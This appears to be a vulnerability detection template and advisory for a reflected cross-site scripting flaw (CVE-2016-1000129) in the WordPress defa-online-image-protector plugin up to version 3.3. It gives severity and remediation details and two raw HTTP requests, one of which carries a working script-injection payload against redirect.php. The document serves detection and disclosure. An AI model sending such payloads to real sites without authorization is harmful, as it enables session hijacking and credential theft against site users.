| Title | WordPress defa-online-image-protector <=3.3 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Update to the latest version of the WordPress defa-online-image-protector plugin (version 3.3 or higher) to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.02773 |
| CVE ID | CVE-2016-1000129 |
| CWE ID | CWE-79 |
| Tags | cve2016 cve wordpress xss wp-plugin defa-online-image-protector_project vuln |
WordPress defa-online-image-protector 3.3 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
GET /wp-content/plugins/defa-online-image-protector/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/defa-online-image-protector/redirect.php?r=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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